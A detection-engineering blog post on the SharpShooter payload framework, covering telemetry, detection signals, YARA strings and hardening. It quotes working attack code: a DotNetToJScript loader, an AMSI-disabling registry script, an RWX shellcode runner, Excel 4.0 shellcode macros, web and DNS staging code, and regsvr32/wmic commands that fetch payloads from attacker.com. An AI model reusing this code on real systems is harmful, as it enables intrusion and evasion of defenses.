·32 min read·Blog·Security Operations

SharpShooter v2.0: Deep-Dive Detection Guide

SM
Siddhant Mishra

Threat Researcher

1. Executive Summary

SharpShooter is a payload generation framework that creates weaponized script files (JS, VBS, HTA, WSF, VBA, SLK) capable of executing arbitrary shellcode or .NET assemblies on Windows endpoints. Unlike simpler payload generators, SharpShooter chains multiple evasion techniques into a single delivery pipeline:

  1. DotNetToJScript deserialization loads a .NET assembly into a Windows Script Host (WSH) process without touching disk
  2. AMSI bypass via registry modification disables script scanning before payload execution
  3. COM object abuse provides 5 distinct application whitelist bypass paths (Outlook, ShellBrowserWindow, WMI, WScript.Shell, XSL/Squiblydoo)
  4. HTML smuggling (Demiguise technique) bypasses email/web gateways by encrypting and embedding payloads in HTML
  5. Staged delivery via HTTP or DNS TXT records retrieves payloads post-execution
  6. Sandbox evasion (CheckPlease) gates execution on domain membership, MAC address, file artifacts, and debugger state
  7. Excel 4.0 macros in SLK format execute shellcode via Win32 API CALL() functions

This guide provides detection-ready Sigma rules, behavioral chains, and telemetry requirements for each module, derived from line-by-line source code analysis.

Key detection insight: SharpShooter's most reliable detection surface is the CLR loading pattern — script host processes (wscript.exe, cscript.exe, mshta.exe) loading .NET runtime DLLs (clr.dll, mscoree.dll, clrjit.dll) is the common thread across all output formats. This is a high-fidelity signal that persists regardless of payload obfuscation.


2. Architecture & Execution Flow

2.1 Generator-Side (Attacker Workstation)

SharpShooter.py (entry point)
├── Payload selection: --payload [hta|js|jse|vba|vbe|vbs|wsf|macro|slk]
├── Delivery mode: --stageless (embedded) | --staged [web|dns]
├── Shellcode input: --rawscfile <shellcode.bin> | --dotnetv2 / --dotnetv4
├── Encryption: RC4 with random key → base64 encoding
├── Template selection: harness.{js|vbs|hta|wsf|vba}
├── Optional modules:
│   ├── --amsi [amsienable]
│   ├── --smuggle + --template [mcafee|sharepoint]
│   ├── --com [outlook|shellbrowserwindow|wmi|wscript|xsl]
│   └── --sandbox [1-5] (CheckPlease evasion checks)
└── Output: weaponized file ready for delivery

2.2 Victim-Side Execution Chain

User opens file (email/download/smuggled)
    │
    ├─ [HTA/JS/VBS/WSF] → Windows Script Host loads file
    │   ├─ RC4 decrypt → base64 decode (harness template)
    │   ├─ [If AMSI bypass] Set AmsiEnable=0, re-launch
    │   ├─ BinaryFormatter.Deserialize → DotNetToJScript
    │   │   └─ System.Reflection.Assembly.Load(byte[])
    │   │       └─ SharpShooter.CreateInstance()
    │   ├─ [If sandbox checks] CheckPlease gates
    │   ├─ [If COM bypass] Squiblydoo/ShellBrowserWindow/etc.
    │   └─ [Staged] WebClient.DownloadString() or nslookup DNS TXT
    │       └─ CSharpCodeProvider.CompileAssemblyFromSource()
    │           └─ Assembly.GetEntryPoint().Invoke()
    │
    ├─ [Stageless] Shellcode embedded in DotNetToJScript payload
    │   └─ VirtualAlloc(RWX) → Marshal.Copy → Delegate execution
    │
    └─ [SLK] Excel opens .slk → XLM REGISTER → CALL VirtualAlloc/WPM/CreateThread

2.3 Key File Relationships

Generator FilePurposeVictim-Side Artifact
SharpShooter.pyCLI entry point, template stitchingNone (attacker-side only)
templates/harness.jsRC4 decrypt + base64 decode + evalJS/JSE payload body
templates/harness.vbsRC4 decrypt + XMLDOM base64 decode + ExecuteVBS/VBE payload body
templates/harness.htaHTA wrapper with VBScript executorHTA payload body
templates/harness.wsfWSF wrapperWSF payload body
templates/sharpshooter.jsDotNetToJScript loader (JS, staged)Core execution engine
templates/sharpshooter.vbsDotNetToJScript loader (VBS, staged)Core execution engine
templates/stageless.jsDotNetToJScript loader (JS, stageless)Core execution engine
templates/shellcode.csVirtualAlloc+Marshal.Copy injectorCompiled in-memory
CSharpShooter/SharpShooter.csStaged C# payload (web/DNS delivery)Loaded via deserialization
CSharpShooter/CheckPlease.csSandbox evasion moduleLoaded via deserialization
CSharpShooterStageless/SharpShooter.csStageless C# payload (direct shellcode exec)Loaded via deserialization
modules/amsikiller.pyAMSI bypass code generationPrepended to payload
modules/awl.pyCOM bypass code generationInjected into template
modules/embedinhtml.pyHTML smuggling wrapperHTML delivery file
modules/excel4.pySLK macro generator.slk file

3. Module-by-Module Source Code Analysis

3.1 DotNetToJScript Core (sharpshooter.js / sharpshooter.vbs)

Source: templates/sharpshooter.js:1-290, templates/sharpshooter.vbs:1-297

The core execution mechanism uses James Forshaw's DotNetToJScript technique. The serialized .NET assembly is embedded as a base64 string containing a BinaryFormatter-serialized object graph.

Deserialization chain (from the embedded base64 blob):

BinaryFormatter.Deserialize()
  → DelegateSerializationHolder
    → target: System.Runtime.Remoting.Messaging.HeaderHandler
    → method: System.Delegate.DynamicInvoke
      → System.Xml.Schema.XmlValueGetter
        → System.Reflection.Assembly.Load(Byte[])
          → SharpShooter.CreateInstance("SharpShooter")

JavaScript loader pattern (sharpshooter.js:275-289):

var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

Detection-relevant indicators:

  • ActiveXObject instantiation of System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  • ActiveXObject instantiation of System.Text.ASCIIEncoding (in base64ToStream)
  • ActiveXObject instantiation of System.Security.Cryptography.FromBase64Transform
  • ActiveXObject instantiation of System.IO.MemoryStream
  • String literal entry_class = 'SharpShooter'
  • DynamicInvoke method call followed by .CreateInstance()
  • The base64 blob contains the PE header MZ (TVqQ in base64) — marker for an embedded .NET assembly

VBScript variant (sharpshooter.vbs:279-285) uses identical COM object chain:

Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)

3.2 AMSI Bypass Module (amsikiller.py)

Source: modules/amsikiller.py

Implements a single AMSI bypass technique: disabling Windows Script Host AMSI integration via registry modification.

Registry target:

HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 (DWORD)

Execution flow:

  1. Read current AmsiEnable value (if exists)
  2. Set AmsiEnable to 0 via WScript.Shell.RegWrite (VBS) or WScript.Shell.RegWrite via ActiveXObject (JS)
  3. Re-launch the current script through one of two COM objects:
    • WScript.Shell → Run method
    • ShellBrowserWindow COM → Document.Application.ShellExecute
  4. After payload execution, restore original AmsiEnable value

JS variant (generated code):

var sh = new ActiveXObject('WScript.Shell');
try {
    var val = sh.RegRead('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable');
} catch(e) {}
sh.RegWrite('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable', 0, 'REG_DWORD');
// re-launch script to take effect
sh.Run('"' + WScript.ScriptFullName + '"');
// restore after execution
sh.RegWrite('HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable', 1, 'REG_DWORD');

Detection-critical detail: The registry write and restore happen within the same execution chain, so the AmsiEnable=0 state is transient. Sysmon EID 13 (RegistryValueSet) will capture both the write-to-0 and the restore-to-1, creating a distinctive paired pattern.

3.3 Application Whitelist Bypass Module (awl.py)

Source: modules/awl.py

Provides 5 COM-based execution techniques that bypass application whitelisting controls.

3.3.1 Outlook COM Staging

CLSID: {0006F03A-0000-0000-C000-000000000046}  (Outlook.Application)

Creates an Outlook.Application COM object, uses CreateObject("Wscript.Shell") through Outlook's scripting interface, then executes a second-stage payload (XSL stylesheet or SCT scriptlet).

Key code pattern (JS):

var outlook = new ActiveXObject("Outlook.Application");
var shell = outlook.CreateObject("Wscript.Shell");

3.3.2 ShellBrowserWindow

CLSID: {C08AFD90-F2A1-11D1-8455-00A0C91F3880}

Instantiates the ShellBrowserWindow COM object and uses Document.Application.ShellExecute to launch a process.

Key code pattern (JS):

var obj = new ActiveXObject("Shell.Application");
// or via GetObject with CLSID
var shell = GetObject("new:{C08AFD90-F2A1-11D1-8455-00A0C91F3880}");
shell.Document.Application.ShellExecute(payload);

3.3.3 WMI Process Creation

Uses Win32_Process.Create via WMI to spawn a new process.

var wmi = GetObject("winmgmts:\\\\.\root\\cimv2:Win32_Process");
wmi.Create(command);

3.3.4 WScript.Shell Direct

CLSID: {72C24DD5-D70A-438B-8A42-98424B88AFB8}

Direct COM instantiation of WScript.Shell bypassing script-level restrictions.

3.3.5 XSL Remote — Squiblydoo & Squiblytwo

Squiblydoo: Uses regsvr32.exe to load a COM scriptlet (SCT) from a remote URL:

regsvr32 /s /u /n /i:http://attacker.com/payload.sct scrobj.dll

Squiblytwo: Uses wmic.exe with the /format: switch to load a remote XSL stylesheet:

wmic os get /format:"http://attacker.com/payload.xsl"

The awl.py module generates either an XSL stylesheet or an SCT scriptlet as the second-stage payload. The XSL contains embedded JScript/VBScript that re-enters the DotNetToJScript chain.

3.4 HTML Smuggling Module (embedinhtml.py)

Source: modules/embedinhtml.py

Implements the Demiguise HTML smuggling technique to bypass email/web content filters.

Process:

  1. RC4 encrypt the entire payload file using a random key
  2. Base64 encode the encrypted blob
  3. Embed in an HTML template with a JavaScript decryption stub
  4. On page load: base64 decode → RC4 decrypt → create Blob → trigger download

Critical JavaScript patterns in the generated HTML (templates/harness.hta style):

// RC4 implementation
rc4 = function(key, str) { ... }

// Base64 decode
decodeBase64 = function(s) { ... }

// Payload reconstruction
var b64block = "%B64PAYLOAD%";
var decoded = decodeBase64(b64block);
var plain = rc4(%KEY%, decoded);

Template themes:

  • sharepoint.tpl: Mimics a SharePoint document sharing page
  • mcafee.tpl: Mimics a McAfee security scan results page

Blob-based download trigger:

var blob = new Blob([array], {type: "application/octet-stream"});
if (window.navigator.msSaveOrOpenBlob) {
    window.navigator.msSaveOrOpenBlob(blob, filename);
} else {
    var a = document.createElement('a');
    a.href = URL.createObjectURL(blob);
    a.download = filename;
    a.click();
}

3.5 Staged Delivery — CSharpShooter (SharpShooter.cs)

Source: CSharpShooter/SharpShooter.cs

The staged C# payload loaded via DotNetToJScript. Supports two delivery channels.

3.5.1 Web Staging (AimWeb)

WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
wc.UseDefaultCredentials = true;
string src = wc.DownloadString(url);
  • Downloads GZip-compressed, base64-encoded C# source
  • Custom User-Agent string (IE11/Trident)
  • Uses default credentials (integrated Windows auth)

3.5.2 DNS Staging (AimDNS / LookupDNS)

Process p = new Process();
p.StartInfo.FileName = "nslookup";
p.StartInfo.Arguments = "-type=TXT -retry=3 -timeout=6 " + hostname;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.RedirectStandardOutput = true;
  • Queries DNS TXT records using nslookup.exe with CreateNoWindow=true
  • Parses TXT record values with regex: {0}\s*text\s*=\s*(["'])(.*?)(["'])
  • Strips quotes, concatenates multi-record responses
  • Each TXT record holds a fragment of the base64-encoded payload

3.5.3 In-Memory Compilation

Both channels feed into runtime compilation:

CSharpCodeProvider provider = new CSharpCodeProvider(
    new Dictionary<string, string> { { "CompilerVersion", "v3.5" } }
);
CompilerParameters cp = new CompilerParameters();
cp.GenerateInMemory = true;
cp.GenerateExecutable = false;
cp.CompilerOptions = "/unsafe /platform:x86";
cp.TempFiles = new TempFileCollection("Temp", false);
  • Writes temporary .cs file to %LOCALAPPDATA%\Temp
  • Compiles with /unsafe for pointer operations
  • Targets x86 platform
  • Invokes Assembly.GetEntryPoint().Invoke() on compiled result

3.6 Sandbox Evasion — CheckPlease (CheckPlease.cs)

Source: CSharpShooter/CheckPlease.cs

Five distinct sandbox detection checks, each calling Environment.Exit(1) on failure.

Check IDMethodDetection Logic
0isDomain(arg)IPGlobalProperties.GetIPGlobalProperties().DomainName matches supplied domain
1isDomainJoined()Domain name is not empty
2containsSandboxArtifacts()Checks for 32 VMware/VirtualBox driver files in C:\windows\Sysnative\Drivers\
3isBadMac()First 3 octets of any NIC MAC match: 000C29, 001C14, 005056, 000569, 080027
4isDebugged()System.Diagnostics.Debugger.IsAttached

Sandbox artifact list (all under C:\windows\Sysnative\Drivers\):

VMware: Vmmouse.sys, vm3dgl.dll, vmdum.dll, vm3dver.dll, vmtray.dll, vmci.sys, vmusbmouse.sys, vmx_svga.sys, vmxnet.sys, VMToolsHook.dll, vmhgfs.dll, vmmousever.dll, vmGuestLib.dll, VmGuestLibJava.dll, vmscsi.sys

VirtualBox: VBoxMouse.sys, VBoxGuest.sys, VBoxSF.sys, VBoxVideo.sys, vboxdisp.dll, vboxhook.dll, vboxmrxnp.dll, vboxogl.dll, vboxoglarrayspu.dll, vboxoglcrutil.dll, vboxoglerrorspu.dll, vboxoglfeedbackspu.dll, vboxoglpackspu.dll, vboxoglpassthroughspu.dll, vboxservice.exe, vboxtray.exe, VBoxControl.exe

MAC OUI prefixes:

  • 00:0C:29 — VMware
  • 00:1C:14 — VMware
  • 00:50:56 — VMware
  • 00:05:69 — VMware
  • 08:00:27 — VirtualBox

3.7 Stageless Shellcode Execution (CSharpShooterStageless)

Source: CSharpShooterStageless/SharpShooter.cs:82-105

Direct shellcode execution without staging:

public void Shoot(String shellcode64)
{
    byte[] sc = Convert.FromBase64String(shellcode64);
    IntPtr baseAddr = VirtualAlloc(
        IntPtr.Zero,
        (UIntPtr)(sc.Length + 1),
        AllocationType.RESERVE | AllocationType.COMMIT,
        MemoryProtection.EXECUTE_READWRITE  // RWX
    );
    Marshal.Copy(sc, 0, baseAddr, sc.Length);
    ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(
        baseAddr, typeof(ExecuteDelegate)
    );
    del();
    VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}

Detection indicators:

  • VirtualAlloc with EXECUTE_READWRITE (0x40) — the most aggressive RWX permission
  • Marshal.Copy to write shellcode into allocated memory
  • GetDelegateForFunctionPointer to create executable delegate from raw pointer
  • Memory allocation size correlates to shellcode size + 1

3.8 Excel 4.0 / SLK Macro Generator (excel4.py)

Source: modules/excel4.py

Generates Symbolic Link (SLK) format files containing Excel 4.0 (XLM) macros that execute shellcode through Win32 API calls.

API registration chain (XLM REGISTER function):

REGISTER("Kernel32", "VirtualAlloc", "JJJJJ", "VirtualAlloc", , 1, 9)
REGISTER("Kernel32", "WriteProcessMemory", "JJJCJJ", "WPM", , 1, 9)
REGISTER("Kernel32", "CreateThread", "JJJJJJJ", "CreateThread", , 1, 9)

Shellcode injection sequence:

  1. VirtualAlloc(0, shellcode_len, 0x3000, 0x40) — allocate RWX memory
  2. For each 20-byte chunk: WriteProcessMemory(-1, addr, chunk, 20, 0) — write shellcode
  3. CreateThread(0, 0, base_addr, 0, 0, 0) — execute shellcode

Limitation: Shellcode cannot contain null bytes (0x00) because SLK format cannot represent them.


4. Telemetry Requirements

4.1 Minimum Viable Telemetry

SourceEvent IDWhat It CapturesSharpShooter Relevance
SysmonEID 1 (ProcessCreate)Process creation with command line, parent process, hashesScript host launches, nslookup staging, regsvr32/wmic execution
SysmonEID 3 (NetworkConnect)Network connections by processStaged delivery HTTP/HTTPS callbacks
SysmonEID 7 (ImageLoad)DLL loads with signature infoCLR loading in script hosts (clr.dll, mscoree.dll, clrjit.dll)
SysmonEID 11 (FileCreate)File creation eventsTemp .cs files from CSharpCodeProvider, smuggled file drops
SysmonEID 13 (RegistryValueSet)Registry value modificationsAmsiEnable bypass, COM CLSID access
SysmonEID 22 (DNSQuery)DNS queries with query nameDNS staging TXT record lookups
Windows SecurityEID 4688Process creation (with audit policy)Backup for Sysmon EID 1
Microsoft-Windows-AMSIEID 1101AMSI scan resultsPayload content scanning (CLR 4.8+ only)
.NET Runtime ETWMicrosoft-Windows-DotNETRuntimeAssembly load eventsIn-memory assembly loading

4.2 Enhanced Telemetry

SourceEvent IDWhat It CapturesSharpShooter Relevance
SysmonEID 10 (ProcessAccess)Cross-process accessShellcode injection into remote processes
SysmonEID 12 (RegistryCreate)Registry key creationNew AmsiEnable key creation
SysmonEID 15 (FileCreateStreamHash)Alternate data stream creationMOTW checks on downloaded files
SysmonEID 25 (ProcessTampering)Process image changesHollowing/stomping detection
ETWMicrosoft-Windows-WMI-ActivityWMI method executionWin32_Process.Create calls
PowerShellEID 4104Script block loggingIf PowerShell is used as a secondary stage

4.3 Sysmon Configuration Requirements

Critical image loads to monitor for DotNetToJScript detection:

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- EID 7: CLR loading in script hosts -->
    <ImageLoad onmatch="include">
      <Image condition="end with">wscript.exe</Image>
      <Image condition="end with">cscript.exe</Image>
      <Image condition="end with">mshta.exe</Image>
      <Image condition="end with">regsvr32.exe</Image>
      <Image condition="end with">wmic.exe</Image>
    </ImageLoad>
    
    <!-- EID 13: AMSI registry tampering -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">Windows Script\Settings\AmsiEnable</TargetObject>
    </RegistryEvent>
    
    <!-- EID 22: DNS staging detection -->
    <DnsQuery onmatch="include">
      <QueryName condition="end with">.txt</QueryName>
    </DnsQuery>
  </EventFiltering>
</Sysmon>

Note: The ImageLoad rule above is intentionally broad — it captures all DLL loads by script hosts. Filter on specific DLLs (clr.dll, mscoree.dll, clrjit.dll, jscript.dll, vbscript.dll, scrobj.dll) in your SIEM to reduce volume.


5. Detection Chain 1: DotNetToJScript Deserialization

5.1 Technique

MITRE: T1059.007 (JavaScript), T1059.005 (Visual Basic) → T1620 (Reflective Code Loading)

SharpShooter uses BinaryFormatter deserialization to load a .NET assembly entirely in memory. The serialized payload contains a delegate chain that ultimately calls System.Reflection.Assembly.Load(byte[]), loading the compiled C# SharpShooter assembly without writing a PE file to disk.

5.2 Why It Works

  • CLR version targeting: SharpShooter defaults to .NET v2, which has no AMSI integration. Even on systems with .NET 4.8+, the SetVersion() stub in templates forces CLR v2 loading
  • No disk artifacts: The .NET assembly exists only in memory — no DLL or EXE is written
  • Legitimate COM objects: Every COM object used (BinaryFormatter, MemoryStream, ASCIIEncoding) is a standard .NET class
  • Script host trust: wscript.exe, cscript.exe, and mshta.exe are Microsoft-signed and typically allowed by application whitelisting

5.3 Detection Opportunities

Primary signal — CLR loading in script hosts (Sysmon EID 7):

When a script host executes DotNetToJScript, the Windows Script Host runtime must load the .NET CLR. This produces a sequence of DLL loads that are abnormal for script execution:

wscript.exe/cscript.exe/mshta.exe loading:
  → mscoree.dll     (CLR bootstrap)
  → clr.dll         (CLR runtime)
  → clrjit.dll      (JIT compiler)
  → mscorlib.ni.dll (core .NET library)

Legitimate script execution via WSH uses jscript.dll or vbscript.dll and does not require the CLR. The presence of mscoree.dll or clr.dll loaded by wscript.exe/cscript.exe is a high-confidence indicator of DotNetToJScript or similar .NET-in-script-host techniques.

Secondary signal — BinaryFormatter COM instantiation (AMSI/ETW):

On CLR 4.8+ systems, AMSI may capture the serialization activity. The ETW Microsoft-Windows-DotNETRuntime provider logs assembly loads, including the in-memory assembly name SharpShooterAssembly.

Tertiary signal — Script content patterns (static analysis):

The generated scripts contain distinctive string patterns:

  • System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  • System.Security.Cryptography.FromBase64Transform
  • DynamicInvoke
  • CreateInstance
  • SurrogateSelector

5.4 False Positive Considerations

  • Some legitimate .NET administrative tools use script hosts + CLR (e.g., certain Group Policy scripts)
  • Filter by user context: SharpShooter payloads typically execute in interactive user sessions, not SYSTEM
  • The SharpShooterAssembly assembly name is a strong discriminator but can be changed by the attacker

6. Detection Chain 2: AMSI Registry Bypass

6.1 Technique

MITRE: T1562.001 (Impair Defenses: Disable or Modify Tools)

The amsikiller.py module sets HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable to 0, which disables AMSI scanning for all Windows Script Host execution under the current user context. The script then re-launches itself (so the new registry value takes effect) and restores the value after payload execution.

6.2 Detection Opportunities

Primary signal — Registry modification (Sysmon EID 13):

EventType: SetValue
TargetObject: HKU\<SID>\Software\Microsoft\Windows Script\Settings\AmsiEnable
Details: DWORD (0x00000000)

Paired pattern: Within seconds, a second EID 13 event restores the value:

TargetObject: HKU\<SID>\Software\Microsoft\Windows Script\Settings\AmsiEnable
Details: DWORD (0x00000001)

This write-restore pattern within a short time window (~1-5 seconds) is highly anomalous and specific to this bypass technique.

Secondary signal — Script self-relaunch:

After setting AmsiEnable=0, the script re-launches itself. This creates a parent-child relationship:

wscript.exe (PID 1234) → wscript.exe (PID 5678)

Same script path in both command lines, with the child process inheriting the now-disabled AMSI state.

6.3 False Positives

  • Broadcom/Symantec has a separate AMSIEnabled value under its own registry key — do not confuse the two
  • IT administrators may legitimately disable AMSI for troubleshooting, but this would not involve the write-restore pattern
  • Group Policy can set this value, but GPO-driven changes originate from svchost.exe, not from script hosts

6.4 Coverage Gap — Modern AMSI Bypass Techniques

CRITICAL GAP: The registry-based bypass this chain detects represents 2018-era attacker TTPs. Current state-of-practice (2024-2026) AMSI bypasses leave no registry or file artifact and will not be caught by Rule 2 or Chain 2.

TechniqueArtifactThis Guide's Coverage
AmsiScanBuffer memory patch1-byte patch to clr.dll+amsi.dll in process memory; forces AMSI_RESULT_CLEAN returnNone — no registry write, no file touch
AmsiScanBuffer hardware breakpointDR0-DR3 debug registers trap and skipNone — process-only, no artifact
AmsiContext corruptionOverwrite AmsiContext signature in-memory to invalidate scannerNone
AMSI session hash predictableCall AmsiOpenSession with crafted context to force collisionNone
Reflection-based amsiInitFailed setSet System.Management.Automation.AmsiUtils.amsiInitFailed = true via reflectionPartial — PowerShell 4104 logging if script-block logging on
Managed-code AMSI stub rewritingRewrite CLR AMSI init stub via System.Reflection.EmitNone
Hooking NtTraceEventPatch to suppress ETW events from AMSINone

Compensating detections to add:

  1. ETW Microsoft-Windows-Threat-Intelligence provider ({F4E1897C-BB5D-5668-F1D8-040F4D8DD344}) — exposes direct syscall abuse and PE memory anomalies. Requires PPL EDR.
  2. Memory integrity scans of amsi.dll in critical processes (powershell.exe, wscript.exe, cscript.exe). EDR-level, not Sysmon.
  3. Hardware breakpoint anomaly detection via GetThreadContext monitoring in high-value processes.
  4. AMSI event log EID 1101 absence — if a script host executed scripts but AMSI logged zero scans, that is itself anomalous. Compare EID 1101 counts to EID 4104 PowerShell script block counts hourly.

7. Detection Chain 3: COM-Based Application Whitelist Bypass

7.1 Techniques

COM MethodMITREDetection Signal
Outlook COMT1218 (System Binary Proxy Execution)outlook.exe COM server activation by script host
ShellBrowserWindowT1218CLSID {C08AFD90-...} instantiation + ShellExecute
WMI Process CreateT1047 (WMI)Win32_Process.Create from script host context
WScript.ShellT1059CLSID {72C24DD5-...} direct instantiation
SquiblydooT1218.010 (Regsvr32)regsvr32 /s /u /n /i:[url] scrobj.dll
SquiblytwoT1220 (XSL Processing)wmic os get /format:[url]

7.2 Squiblydoo Detection (regsvr32 + scrobj.dll)

Process creation (Sysmon EID 1):

Image: C:\Windows\System32\regsvr32.exe
CommandLine contains: scrobj.dll
CommandLine contains: /i:http  OR  /i:\\
CommandLine contains: /s /u /n

This combination has near-zero false positives. Legitimate regsvr32 usage registers local DLLs and does not use scrobj.dll with remote URLs.

7.3 Squiblytwo Detection (wmic + /format:)

Process creation (Sysmon EID 1):

Image: C:\Windows\System32\wbem\WMIC.exe
CommandLine contains: /format:
CommandLine matches: (http|\\\\)

Image load (Sysmon EID 7): wmic.exe loading jscript.dll or vbscript.dll indicates XSL with embedded script execution.

Note: wmic os get locale legitimately loads vbscript.dll for output formatting. Combine with command line analysis to reduce false positives.

7.4 COM Object Instantiation Detection

ShellBrowserWindow — CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}:

Monitor for GetObject("new:{C08AFD90-...}") in AMSI telemetry or for the ShellBrowserWindow COM server activation in COM ETW traces. The Document.Application.ShellExecute method call from a script host is highly anomalous.

Outlook COM abuse — Any script host creating Outlook.Application COM objects:

Sysmon EID 1 showing OUTLOOK.EXE spawned as a COM server (with -Embedding flag) where the parent is svchost.exe (COM activation), correlated with a concurrent wscript.exe/cscript.exe running.


8. Detection Chain 4: HTML Smuggling (Demiguise)

8.1 Technique

MITRE: T1027.006 (Obfuscated Files or Information: HTML Smuggling)

The embedinhtml.py module wraps any SharpShooter payload in an HTML file that:

  1. Contains the encrypted+encoded payload as a JavaScript string variable
  2. On page load, decrypts with RC4 and decodes from base64
  3. Constructs a Blob object and triggers a file download via URL.createObjectURL() or msSaveOrOpenBlob()

8.2 Detection Opportunities

Email gateway / content filter (pre-delivery):

Scan HTML attachments and links for:

  • Large base64-encoded string blocks (>50KB) — var b64block = "..." patterns
  • JavaScript RC4 implementation functions (S-box initialization loop)
  • new Blob([array], {type: "application/octet-stream"})
  • URL.createObjectURL() combined with a.download =
  • msSaveOrOpenBlob() or msSaveBlob() API usage

Endpoint (post-delivery):

The smuggled file drops to the user's Downloads folder. Detection focuses on the temporal chain:

Browser (chrome.exe/msedge.exe/firefox.exe)
  → opens HTML file containing JavaScript
  → writes file to Downloads (Sysmon EID 11)
    → user double-clicks dropped file
      → wscript.exe / cscript.exe / mshta.exe / excel.exe launches

The time window between HTML open and script host execution is typically 1-30 seconds for automated drops, or 1-10 minutes for user-interaction-dependent scenarios.

YARA-style indicators for HTML smuggling pages:

strings:
  $rc4_init = "for (var i = 0; i < 256; i++)" ascii
  $rc4_swap = "s[i] = s[j]" ascii
  $blob_create = "new Blob(" ascii
  $url_create = "createObjectURL" ascii
  $save_blob = "msSaveOrOpenBlob" ascii
  $b64_decode = "decodeBase64" ascii
  $fromCharCode = "String.fromCharCode" ascii
  $template_sp = "sharepoint" ascii nocase
  $template_mcafee = "mcafee" ascii nocase
condition:
  ($rc4_init and $rc4_swap) and ($blob_create or $save_blob) and $fromCharCode

8.3 Limitations

JavaScript obfuscation can defeat static signatures. The RC4 function can be rewritten in countless ways. Content-based detection should be layered with behavioral detection (browser dropping executable/script files → script host execution).


9. Detection Chain 5: Staged Payload Delivery (Web & DNS)

9.1 Web Staging

MITRE: T1105 (Ingress Tool Transfer)

Network indicators:

  • User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko — this IE11 User-Agent string is hardcoded in SharpShooter.cs:line ~65 and is increasingly anachronistic
  • HTTP GET from wscript.exe / cscript.exe process (these processes should rarely make HTTP connections)
  • Response body contains GZip-compressed, base64-encoded C# source code

Sysmon EID 3 (NetworkConnect):

Image: C:\Windows\System32\wscript.exe  OR  cscript.exe
DestinationPort: 80 or 443

Script hosts making outbound HTTP connections is abnormal in most environments and warrants investigation.

9.2 DNS Staging

MITRE: T1071.004 (Application Layer Protocol: DNS)

Process creation (Sysmon EID 1):

Image: C:\Windows\System32\nslookup.exe
ParentImage: *\wscript.exe  OR  *\cscript.exe  OR  *\mshta.exe
CommandLine contains: -type=TXT

Key behavioral pattern: SharpShooter issues multiple sequential nslookup queries to the same domain (or sequential subdomains), concatenating TXT record values to reconstruct the payload. The queries use -retry=3 -timeout=6 flags.

Sysmon EID 22 (DNSQuery):

QueryName: sequential pattern (e.g., a.evil.com, b.evil.com, c.evil.com)
ProcessImage: nslookup.exe

False positive note: Legitimate nslookup TXT queries exist (SPF/DKIM verification tools), but they are rarely spawned by script hosts.

9.3 In-Memory Compilation

After staging, SharpShooter compiles C# source at runtime:

Sysmon EID 11 (FileCreate):

TargetFilename: %LOCALAPPDATA%\Temp\*.cs
Image: wscript.exe  OR  cscript.exe

Sysmon EID 1 (ProcessCreate):

Image: C:\Windows\Microsoft.NET\Framework\v*\csc.exe
ParentImage: *\wscript.exe  OR  *\cscript.exe
CommandLine contains: /unsafe

The C# compiler (csc.exe) spawned by a script host is a high-confidence indicator. The /unsafe flag enables pointer manipulation required for shellcode injection.


10. Detection Chain 6: Excel 4.0 / SLK Macro Shellcode

10.1 Technique

MITRE: T1204.002 (User Execution: Malicious File) → T1059.001 (via XLM)

SharpShooter's excel4.py generates SLK (Symbolic Link) files containing Excel 4.0 macros. SLK is a plaintext spreadsheet interchange format that Excel opens natively. The macros use REGISTER() to import Win32 APIs and CALL() to execute them.

10.2 Detection Opportunities

AMSI integration (Excel 365 / Office 2021+): Modern Excel versions scan XLM macros via AMSI at runtime, exposing the REGISTER and CALL function names to endpoint security products. However, this requires CLR 4.8+ and is bypassed by trusted locations/documents.

Process behavior (Sysmon EID 1): Excel spawning unexpected child processes after opening an SLK file:

ParentImage: *\EXCEL.EXE
Image: C:\Windows\System32\cmd.exe  OR  powershell.exe  OR  rundll32.exe

File creation (Sysmon EID 11): SLK files arriving via email or web download:

TargetFilename: *.slk

Static analysis of SLK content: The SLK format is plaintext. Malicious SLK files contain:

ID;P
// ...
C;X1;Y1;K0;EREGISTER("Kernel32","VirtualAlloc","JJJJJ","VirtualAlloc",,1,9)
C;X2;Y1;K0;EREGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WPM",,1,9)
C;X3;Y1;K0;EREGISTER("Kernel32","CreateThread","JJJJJJJ","CreateThread",,1,9)

YARA for SLK shellcode loaders:

strings:
  $slk_header = "ID;P" ascii
  $register_va = "REGISTER(\"Kernel32\",\"VirtualAlloc\"" ascii nocase
  $register_wpm = "REGISTER(\"Kernel32\",\"WriteProcessMemory\"" ascii nocase
  $register_ct = "REGISTER(\"Kernel32\",\"CreateThread\"" ascii nocase
  $call_func = "CALL(" ascii
condition:
  $slk_header at 0 and 2 of ($register_*)

10.3 Hardening

  • Disable XLM macros: Group Policy → User Configuration\Administrative Templates\Microsoft Excel\Excel Options\Security\Trust Center → disable Excel 4.0 macros
  • Block SLK files: Email gateway rules should block .slk attachments
